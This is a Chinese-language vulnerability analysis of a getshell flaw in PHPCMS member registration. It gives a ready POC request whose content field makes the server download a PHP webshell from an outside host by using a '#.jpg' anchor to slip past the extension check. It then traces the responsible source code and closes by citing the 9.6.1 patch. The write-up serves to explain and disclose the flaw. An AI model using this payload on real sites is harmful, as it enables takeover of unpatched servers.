0x00 POC

url: /index.php?m=member&c=index&a=register&siteid=1

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=

 

其中http://192.168.31.131/test.txt内容为一句话

0x01 代码分析
漏洞点在 /phpcms/libs/classes/attachment.class.php 文件的第 166 行至 172 行, download 函数中

class attachment {
...
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
...
}

 
大概说一下这个函数的流程: 经过全局处理后,传入的值$value 为:src=http://192.168.31.131/test.txt?.php#.jpg
然后使用 new_stripslashes 删除反斜杠,然后对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配 href 或者 src 的值,后缀检查这里只要 url 的最后是
以 gif|jpg|jpeg|bmp|png就可以继续执行下去了,这个地方是漏洞出现的一个原因,因为我们知道URL可以存在锚点,即#后面的内容,所以URL后面加上#.jpg。 经过匹配后的 $matches 的结构如下:

Array
(
[0] => Array
(
[0] => src=http://192.168.31.131/test.txt?.php#.jpg
)

[1] => Array
(
[0] => src
)

[2] => Array
(
[0] =>
)

[3] => Array
(
[0] => http://192.168.31.131/test.txt?.php#.jpg
)

[4] => Array
(
[0] => jpg
)

)

 
$matches[3]传入fillurl($matche, $absurl, $basehref)函数处理,fillurl()函数如下:

function fillurl($surl, $absurl, $basehref = '') {
if($basehref != '') {
$preurl = strtolower(substr($surl,0,6));
if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
return $surl;
else
return $basehref.'/'.$surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
if($surl[0]=='/') {
$okurl = 'http://'.$HomeUrl.'/'.$surl;
} elseif($surl[0] == '.') {
if(strlen($surl)<=2) return '';
elseif($surl[0]=='/') {
$okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
} else {
$urls = explode('/',$surl);
foreach($urls as $u) {
if($u=="..") $pathStep++;
else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if(count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for($i=0;$i<count($urls)-$pathStep;$i++) {
$pstr .= $urls[$i].'/';
}
$okurl = $pstr.$dstr;
}
}
} else {
$preurl = strtolower(substr($surl,0,6));
if(strlen($surl)<7) $okurl = 'http://'.$BaseUrlPath.'/'.$surl; elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') $okurl = $surl; else $okurl = 'http://'.$BaseUrlPath.'/'.$surl; } $preurl = strtolower(substr($okurl,0,6)); if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') { return $okurl; } else { $okurl = preg_replace('/^(http:\/\/)/i','',$okurl); $okurl = preg_replace('/\/{1,}/i','/',$okurl); return 'http://'.$okurl; } }

 

这个函数就是除去锚点,所以取到的$remotefileurl的值为array('http://192.168.31.131/test.txt?.php#.jpg' => 'http://192.168.31.131/test.txt?.php'),这里去掉锚点又是漏洞的一个利用点,导致后面取到的文件后缀为php,而又没检测后缀,导致成功getshell,后面再说。
接着往下看:

foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file); //获取文件名后缀,即php
$file_name = basename($file);
$filename = $this->getname($filename); //根据后缀生成随机文件名

$newfile = $uploaddir.$filename; //文件路径
$upload_func = $this->upload_func; //upload_func值为copy
if($upload_func($file, $newfile)) { //直接调用copy函数拷贝远程文件
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777); //开发者怕shell运行不了还给了777权限,多贴心
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}

总结一下,先对传入的 url 使用preg_match_all进行后缀检查,然后用 fillurl 去掉 # 后面的 内容,再用 fileext 取新后缀,取到新后缀后未检验,就直接用 copy 下载文件并重命名。由于逻辑处理不当导致漏洞,即典型的把验证放在最前面,而后面的操作导致前面的验证形同虚设。
现在找到了漏洞存在的地方,就要找个触发漏洞的地方。

全局搜索attachment->download找到几处调用的地方,以 caches/caches_model/caches_data/member_input.class.php 为例:

function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

没有对$value过滤,继续找调用editor()的地方,用全局搜索没找到,观察好长时间也没找到,去看了看别人的分析才发现在get()函数里存在动态调用,这里可以构造调用editor()函数:

function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}
$func = $this->fields[$field]['formtype']; 这里只需使$func得值为editor就可以调用,我们看看$fiels的值是怎么获取到的,构造函数:
function __construct($modelid) {
$this->db = pc_base::load_model('sitemodel_field_model');
$this->db_pre = $this->db->db_tablepre;
$this->modelid = $modelid;
$this->fields = getcache('model_field_'.$modelid,'model');

//初始化附件类
pc_base::load_sys_class('attachment','',0);
$this->siteid = param::get_cookie('siteid');
$this->attachment = new attachment('content','0',$this->siteid);

}

 
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的,正好在caches/caches_model/caches_data/model_field_1.cache.php 文件里面找到合适的 field 名:

...
'content' =>
array (
'fieldid' => '8',
'modelid' => '1',
'siteid' => '1',
'field' => 'content',
'name' => '内容',
'tips' => '

'css' => '',
'minlength' => '1',
'maxlength' => '999999',
'pattern' => '',
'errortips' => '内容不能为空',
'formtype' => 'editor',
...
),
...

 
即当传入的$field为content即可调用editor()函数,继续找调用get()函数的地方找到三处:

根据payload利用的是/phpcms/modules/member/index.php 中第135行的 register 方法:
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
所以只需$_POST['info'] 中
的 content 字段的值有src=http://192.168.31.131/test.txt?.php#.jpg便可以成功利用,register方法就是在注册的时候调用的,所以最终的payload:
url: /index.php?m=member&c=index&a=register&siteid=1

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=
注意username和email不要重复,根据代码逻辑,重复了也会传上shell,但是不会返回路径。
0x02 漏洞修复
官网已推出补丁,升级到9.6.1即可。